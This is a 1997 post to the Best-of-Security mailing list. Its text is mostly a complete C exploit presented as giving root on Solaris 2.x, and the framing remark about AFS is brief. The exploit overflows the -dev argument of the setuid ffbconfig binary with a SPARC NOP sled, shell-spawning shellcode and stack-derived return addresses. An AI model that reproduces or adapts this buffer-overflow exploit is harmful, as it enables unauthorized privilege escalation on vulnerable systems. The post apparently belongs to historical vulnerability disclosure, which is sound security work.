[139] in Best-of-Security
BoS: AFS
daemon@ATHENA.MIT.EDU (Daniel S. Ma)
Sat May 3 00:05:47 1997
From: "Daniel S. Ma" <dan@glue.umd.edu>
Date: Fri, 2 May 1997 17:45:13 -0400 (EDT)
Reply-To: best-of-security@suburbia.net
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net
I am currently using UNIX AFS system. It seems to me that
under AFS , it is really hard to find any security holes.
The following program can be used to gain root access under
Solaris2.X, but even after you became root ( uid = 0 ), you
still can not have the root privileges. Because the 'fs '
take over the 'chmod'.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 128
#define EXTRA 256
#define STACK_OFFSET 128
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),so;
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
perror("execl failed");
}
